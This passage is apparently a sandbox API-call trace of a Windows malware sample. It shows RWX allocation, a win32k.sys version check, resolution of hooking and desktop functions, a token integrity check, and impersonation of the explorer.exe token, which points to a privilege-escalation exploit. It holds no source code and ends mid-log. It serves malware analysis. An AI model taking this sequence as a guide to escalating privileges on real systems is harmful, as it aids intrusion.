BaseAddress=0x20ae7f0) returned 1 [0051.019] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20afe10) returned 1 [0051.019] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20ae7d0) returned 1 [0051.019] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x202f590) returned 1 [0051.040] GetCurrentProcessId () returned 0xec8 [0051.040] SystemTimeToFileTime (in: lpSystemTime=0x18fecc, lpFileTime=0x18feb8 | out: lpFileTime=0x18feb8) returned 1 [0051.041] Wow64DisableWow64FsRedirection (in: OldValue=0x18fec8 | out: OldValue=0x18fec8*=0x0) returned 1 [0051.041] GetSystemDirectoryW (in: lpBuffer=0x18fc54, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0051.041] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\win32kfull.sys" (normalized: "c:\\windows\\system32\\win32kfull.sys"), fInfoLevelId=0x0, lpFileInformation=0x18fe5c | out: lpFileInformation=0x18fe5c*(dwFileAttributes=0x18fe70, ftCreationTime.dwLowDateTime=0x403549, ftCreationTime.dwHighDateTime=0x1fb0000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x202f590, ftLastWriteTime.dwLowDateTime=0x18fe80, ftLastWriteTime.dwHighDateTime=0x4035ac, nFileSizeHigh=0x1fb0000, nFileSizeLow=0x202f590)) returned 0 [0051.043] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\win32k.sys" (normalized: "c:\\windows\\system32\\win32k.sys"), fInfoLevelId=0x0, lpFileInformation=0x18fe5c | out: lpFileInformation=0x18fe5c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93c49a09, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93c49a09, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x93c95cca, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2fb400)) returned 1 [0051.043] CompareFileTime (lpFileTime1=0x18fe70, lpFileTime2=0x18feb8) returned -1 [0051.043] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0051.043] GetNativeSystemInfo (in: lpSystemInfo=0x18feb0 | out: lpSystemInfo=0x18feb0*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0051.043] VirtualAlloc (lpAddress=0x0, dwSize=0x9600, flAllocationType=0x3000, flProtect=0x40) returned 0x210000 [0051.045] LoadLibraryA (lpLibFileName="msvcrt.dll") returned 0x75120000 [0051.045] GetProcAddress (hModule=0x75120000, lpProcName="_stricmp") returned 0x7512db38 [0051.045] GetProcAddress (hModule=0x75120000, lpProcName="memcpy") returned 0x75129910 [0051.045] GetProcAddress (hModule=0x75120000, lpProcName="_snwprintf") returned 0x751495d1 [0051.045] GetProcAddress (hModule=0x75120000, lpProcName="memset") returned 0x75129790 [0051.045] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x75b20000 [0051.046] GetProcAddress (hModule=0x75b20000, lpProcName="SetThreadAffinityMask") returned 0x75b505a0 [0051.046] GetProcAddress (hModule=0x75b20000, lpProcName="IsWow64Process") returned 0x75b3195e [0051.046] GetProcAddress (hModule=0x75b20000, lpProcName="GetSystemInfo") returned 0x75b349ca [0051.046] GetProcAddress (hModule=0x75b20000, lpProcName="WaitForSingleObject") returned 0x75b31136 [0051.046] GetProcAddress (hModule=0x75b20000, lpProcName="GetExitCodeThread") returned 0x75b4d5b5 [0051.046] GetProcAddress (hModule=0x75b20000, lpProcName="TerminateThread") returned 0x75b37a2f [0051.046] GetProcAddress (hModule=0x75b20000, lpProcName="CreateThread") returned 0x75b334d5 [0051.046] GetProcAddress (hModule=0x75b20000, lpProcName="TlsSetValue") returned 0x75b314fb [0051.046] GetProcAddress (hModule=0x75b20000, lpProcName="HeapFree") returned 0x75b314c9 [0051.046] GetProcAddress (hModule=0x75b20000, lpProcName="GetCurrentThreadId") returned 0x75b31450 [0051.046] GetProcAddress (hModule=0x75b20000, lpProcName="Sleep") returned 0x75b310ff [0051.046] GetProcAddress (hModule=0x75b20000, lpProcName="HeapAlloc") returned 0x7758e026 [0051.046] GetProcAddress (hModule=0x75b20000, lpProcName="SleepEx") returned 0x75b31215 [0051.046] GetProcAddress (hModule=0x75b20000, lpProcName="TlsGetValue") returned 0x75b311e0 [0051.047] GetProcAddress (hModule=0x75b20000, lpProcName="CreateEventA") returned 0x75b3328c [0051.047] GetProcAddress (hModule=0x75b20000, lpProcName="HeapCreate") returned 0x75b34a2d [0051.047] GetProcAddress (hModule=0x75b20000, lpProcName="VirtualProtect") returned 0x75b3435f [0051.047] GetProcAddress (hModule=0x75b20000, lpProcName="SetPriorityClass") returned 0x75b4cf28 [0051.047] GetProcAddress (hModule=0x75b20000, lpProcName="GetCurrentProcess") returned 0x75b31809 [0051.047] GetProcAddress (hModule=0x75b20000, lpProcName="SetThreadPriority") returned 0x75b332bb [0051.047] GetProcAddress (hModule=0x75b20000, lpProcName="ResumeThread") returned 0x75b343ef [0051.047] GetProcAddress (hModule=0x75b20000, lpProcName="GetModuleHandleA") returned 0x75b31245 [0051.047] GetProcAddress (hModule=0x75b20000, lpProcName="TlsAlloc") returned 0x75b349ad [0051.047] GetProcAddress (hModule=0x75b20000, lpProcName="CloseHandle") returned 0x75b31410 [0051.047] GetProcAddress (hModule=0x75b20000, lpProcName="GetProcessHeap") returned 0x75b314e9 [0051.047] GetProcAddress (hModule=0x75b20000, lpProcName="TlsFree") returned 0x75b33587 [0051.047] GetProcAddress (hModule=0x75b20000, lpProcName="LoadLibraryA") returned 0x75b349d7 [0051.047] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x75d10000 [0051.048] GetProcAddress (hModule=0x75d10000, lpProcName="UnhookWinEvent") returned 0x75d33982 [0051.048] GetProcAddress (hModule=0x75d10000, lpProcName="SetWinEventHook") returned 0x75d2ee09 [0051.048] GetProcAddress (hModule=0x75d10000, lpProcName="CreateMenu") returned 0x75d357a4 [0051.048] GetProcAddress (hModule=0x75d10000, lpProcName="PostQuitMessage") returned 0x75d29abb [0051.048] GetProcAddress (hModule=0x75d10000, lpProcName="AppendMenuA") returned 0x75d867fb [0051.048] GetProcAddress (hModule=0x75d10000, lpProcName="SetClassLongA") returned 0x75d3d5f9 [0051.048] GetProcAddress (hModule=0x75d10000, lpProcName="SendMessageA") returned 0x75d3612e [0051.048] GetProcAddress (hModule=0x75d10000, lpProcName="TranslateMessage") returned 0x75d27809 [0051.048] GetProcAddress (hModule=0x75d10000, lpProcName="CreateWindowExA") returned 0x75d2d22e [0051.048] GetProcAddress (hModule=0x75d10000, lpProcName="DefWindowProcA") returned 0x775a24e0 [0051.048] GetProcAddress (hModule=0x75d10000, lpProcName="RegisterClassA") returned 0x75d3434b [0051.048] GetProcAddress (hModule=0x75d10000, lpProcName="SetMenuInfo") returned 0x75d7d222 [0051.048] GetProcAddress (hModule=0x75d10000, lpProcName="SetWindowLongA") returned 0x75d36110 [0051.048] GetProcAddress (hModule=0x75d10000, lpProcName="GetClassLongA") returned 0x75d386f9 [0051.049] GetProcAddress (hModule=0x75d10000, lpProcName="SetClassLongW") returned 0x75d35483 [0051.049] GetProcAddress (hModule=0x75d10000, lpProcName="ShowWindow") returned 0x75d30dfb [0051.049] GetProcAddress (hModule=0x75d10000, lpProcName="SetThreadDesktop") returned 0x75d30296 [0051.049] GetProcAddress (hModule=0x75d10000, lpProcName="GetClassNameA") returned 0x75d379df [0051.049] GetProcAddress (hModule=0x75d10000, lpProcName="PostMessageA") returned 0x75d33baa [0051.049] GetProcAddress (hModule=0x75d10000, lpProcName="SetActiveWindow") returned 0x75d33208 [0051.049] GetProcAddress (hModule=0x75d10000, lpProcName="SetWindowPos") returned 0x75d28e4e [0051.049] GetProcAddress (hModule=0x75d10000, lpProcName="DestroyWindow") returned 0x75d29a55 [0051.049] GetProcAddress (hModule=0x75d10000, lpProcName="DispatchMessageA") returned 0x75d27bbb [0051.049] GetProcAddress (hModule=0x75d10000, lpProcName="GetMessageA") returned 0x75d27bd3 [0051.049] GetProcAddress (hModule=0x75d10000, lpProcName="CreateDesktopA") returned 0x75d69783 [0051.049] GetProcAddress (hModule=0x75d10000, lpProcName="CloseDesktop") returned 0x75d300fa [0051.049] GetProcAddress (hModule=0x75d10000, lpProcName="SystemParametersInfoW") returned 0x75d290d3 [0051.049] GetProcAddress (hModule=0x75d10000, lpProcName="SetParent") returned 0x75d32d64 [0051.049] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77560000 [0051.050] GetProcAddress (hModule=0x77560000, lpProcName="RtlInitUnicodeString") returned 0x7758e208 [0051.050] GetProcAddress (hModule=0x77560000, lpProcName="RtlFreeHeap") returned 0x7758df85 [0051.050] GetProcAddress (hModule=0x77560000, lpProcName="NtCreateTimer") returned 0x775808ac [0051.050] GetProcAddress (hModule=0x77560000, lpProcName="RtlGetVersion") returned 0x7759873a [0051.050] GetProcAddress (hModule=0x77560000, lpProcName="RtlAllocateHeap") returned 0x7758e026 [0051.050] GetProcAddress (hModule=0x77560000, lpProcName="NtCallbackReturn") returned 0x7757f8c8 [0051.050] GetProcAddress (hModule=0x77560000, lpProcName="NtAllocateVirtualMemory") returned 0x7757fab0 [0051.050] GetProcAddress (hModule=0x77560000, lpProcName="NtFreeVirtualMemory") returned 0x7757fb48 [0051.050] GetProcAddress (hModule=0x77560000, lpProcName="NtSetTimer") returned 0x775801e8 [0051.050] LoadLibraryA (lpLibFileName="RPCRT4.dll") returned 0x77070000 [0051.050] GetProcAddress (hModule=0x77070000, lpProcName="UuidToStringA") returned 0x770ed918 [0051.051] GetProcAddress (hModule=0x77070000, lpProcName="RpcStringFreeA") returned 0x770b3fc5 [0051.052] GetSystemInfo (in: lpSystemInfo=0x218984 | out: lpSystemInfo=0x218984*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0051.052] GetCurrentProcess () returned 0xffffffff [0051.052] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x218980 | out: Wow64Process=0x218980*=1) returned 1 [0051.052] RtlGetVersion (in: lpVersionInformation=0x18fd9c | out: lpVersionInformation=0x18fd9c*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 0x0 [0051.052] SystemParametersInfoW (in: uiAction=0x1025, uiParam=0x0, pvParam=0x18fec8, fWinIni=0x0 | out: pvParam=0x18fec8) returned 1 [0051.549] NtAllocateVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x21890c*=0x0, ZeroBits=0x0, RegionSize=0x18feb4*=0xdd, AllocationType=0x3000, Protect=0x40 | out: BaseAddress=0x21890c*=0x220000, RegionSize=0x18feb4*=0x1000) returned 0x0 [0051.549] NtAllocateVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x218908*=0x0, ZeroBits=0x0, RegionSize=0x18feb4*=0xc7, AllocationType=0x3000, Protect=0x40 | out: BaseAddress=0x218908*=0x230000, RegionSize=0x18feb4*=0x1000) returned 0x0 [0051.549] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2165f5, lpParameter=0x18feac, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc0 [0051.551] WaitForSingleObject (hHandle=0xc0, dwMilliseconds=0x61a8) [0054.577] GetExitCodeThread (in: hThread=0xc0, lpExitCode=0x18feb0 | out: lpExitCode=0x18feb0) returned 1 [0054.579] GetCurrentProcess () returned 0xffffffff [0054.580] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fe84 | out: TokenHandle=0x18fe84*=0xcc) returned 1 [0054.580] GetTokenInformation (in: TokenHandle=0xcc, TokenInformationClass=0x12, TokenInformation=0x18fe88, TokenInformationLength=0x4, ReturnLength=0x18fe80 | out: TokenInformation=0x18fe88, ReturnLength=0x18fe80) returned 1 [0054.580] CloseHandle (hObject=0xcc) returned 1 [0054.580] GetCurrentProcess () returned 0xffffffff [0054.580] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fee0 | out: TokenHandle=0x18fee0*=0xcc) returned 1 [0054.580] GetTokenInformation (in: TokenHandle=0xcc, TokenInformationClass=0x19, TokenInformation=0x18fe90, TokenInformationLength=0x4c, ReturnLength=0x18fedc | out: TokenInformation=0x18fe90, ReturnLength=0x18fedc) returned 1 [0054.581] IsValidSid (pSid=0x18fe98*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 1 [0054.581] CloseHandle (hObject=0xcc) returned 1 [0054.582] GetCurrentProcess () returned 0xffffffff [0054.582] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18feac | out: TokenHandle=0x18feac*=0xcc) returned 1 [0054.582] GetTokenInformation (in: TokenHandle=0xcc, TokenInformationClass=0x19, TokenInformation=0x18fe5c, TokenInformationLength=0x4c, ReturnLength=0x18fea8 | out: TokenInformation=0x18fe5c, ReturnLength=0x18fea8) returned 1 [0054.582] IsValidSid (pSid=0x18fe64*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 1 [0054.582] CloseHandle (hObject=0xcc) returned 1 [0054.582] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xcc [0054.594] Process32FirstW (in: hSnapshot=0xcc, lppe=0x18fc68 | out: lppe=0x18fc68*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0054.594] Process32NextW (in: hSnapshot=0xcc, lppe=0x18fc68 | out: lppe=0x18fc68*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0054.595] Process32NextW (in: hSnapshot=0xcc, lppe=0x18fc68 | out: lppe=0x18fc68*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0054.596] Process32NextW (in: hSnapshot=0xcc, lppe=0x18fc68 | out: lppe=0x18fc68*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0054.597] Process32NextW (in: hSnapshot=0xcc, lppe=0x18fc68 | out: lppe=0x18fc68*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0054.597] Process32NextW (in: hSnapshot=0xcc, lppe=0x18fc68 | out: lppe=0x18fc68*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x168, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0054.598] Process32NextW (in: hSnapshot=0xcc, lppe=0x18fc68 | out: lppe=0x18fc68*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x168, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0054.599] Process32NextW (in: hSnapshot=0xcc, lppe=0x18fc68 | out: lppe=0x18fc68*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x170, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0054.600] Process32NextW (in: hSnapshot=0xcc, lppe=0x18fc68 | out: lppe=0x18fc68*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0054.600] Process32NextW (in: hSnapshot=0xcc, lppe=0x18fc68 | out: lppe=0x18fc68*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0054.601] Process32NextW (in: hSnapshot=0xcc, lppe=0x18fc68 | out: lppe=0x18fc68*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.602] Process32NextW (in: hSnapshot=0xcc, lppe=0x18fc68 | out: lppe=0x18fc68*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x288, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.602] Process32NextW (in: hSnapshot=0xcc, lppe=0x18fc68 | out: lppe=0x18fc68*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.603] Process32NextW (in: hSnapshot=0xcc, lppe=0x18fc68 | out: lppe=0x18fc68*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.604] Process32NextW (in: hSnapshot=0xcc, lppe=0x18fc68 | out: lppe=0x18fc68*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x32, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.605] Process32NextW (in: hSnapshot=0xcc, lppe=0x18fc68 | out: lppe=0x18fc68*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.605] Process32NextW (in: hSnapshot=0xcc, lppe=0x18fc68 | out: lppe=0x18fc68*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.606] Process32NextW (in: hSnapshot=0xcc, lppe=0x18fc68 | out: lppe=0x18fc68*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x308, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0054.607] Process32NextW (in: hSnapshot=0xcc, lppe=0x18fc68 | out: lppe=0x18fc68*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0054.607] CloseHandle (hObject=0xcc) returned 1 [0054.607] OpenProcess (dwDesiredAccess=0x2000000, bInheritHandle=0, dwProcessId=0x464) returned 0xcc [0054.608] OpenProcessToken (in: ProcessHandle=0xcc, DesiredAccess=0xf01ff, TokenHandle=0x18fedc | out: TokenHandle=0x18fedc*=0xf4) returned 1 [0054.608] ImpersonateLoggedOnUser (hToken=0xf4) returned 1 [0054.608] CloseHandle (hObject=0xcc) returned 1 [0054.608] CloseHandle (hObject=0xf4) returned 1 [0054.610] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x5a1d) returned 0x20403e8 [0054.611] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20af868 [0054.611] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20af888 [0054.611] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20af628 [0054.612] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20af648 [0054.612] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20af668 [0054.612] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20af688 [0054.612] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20af6a8 [0054.612] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20af6c8 [0054.612] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20af6e8 [0054.612] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20af708 [0054.612] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20af728 [0054.612] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20af748 [0054.612] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20af768 [0054.612] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20af788 [0054.612] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20af7a8 [0054.612] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20af7c8 [0054.612] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20af7e8 [0054.612] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20af808 [0054.612] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20af8a8 [0054.612] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20af828 [0054.612] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20af848 [0054.612] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20af8c8 [0054.612] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20af8e8 [0054.612] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20af908 [0054.612] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20af928 [0054.612] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20af948 [0054.612] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20af968 [0054.612] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20af988 [0054.612] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20af9a8 [0054.612] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20af9c8 [0054.612] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20af9e8 [0054.612] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20afa08 [0054.612] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20afa28 [0054.612] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20afa48 [0054.612] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20afa68 [0054.612] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20afa88 [0054.612] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20afaa8 [0054.613] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20afac8 [0054.613] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20afae8 [0054.613] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20afb08 [0054.613] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20afb28 [0054.613] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20afb48 [0054.613] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20afb68 [0054.613] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20afb88 [0054.613] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20afba8 [0054.613] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20afbc8 [0054.613] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20afbe8 [0054.613] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20afc08 [0054.613] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20afc28 [0054.613] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20afc48 [0054.613] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20afc68 [0054.613] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20afc88 [0054.613] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20afca8 [0054.613] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20afcc8 [0054.613] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20afce8 [0054.613] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20afd08 [0054.613] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20afd28 [0054.613] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20afd48 [0054.613] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20afd68 [0054.613] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20afd88 [0054.613] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20afda8 [0054.613] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20afdc8 [0054.613] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20afde8 [0054.613] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20aea28 [0054.614] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20aea48 [0054.614] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20aea68 [0054.614] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20aea88 [0054.614] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20aeaa8 [0054.614] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20aeac8 [0054.614] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 0x20aeae8 [0054.614] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x18) returned 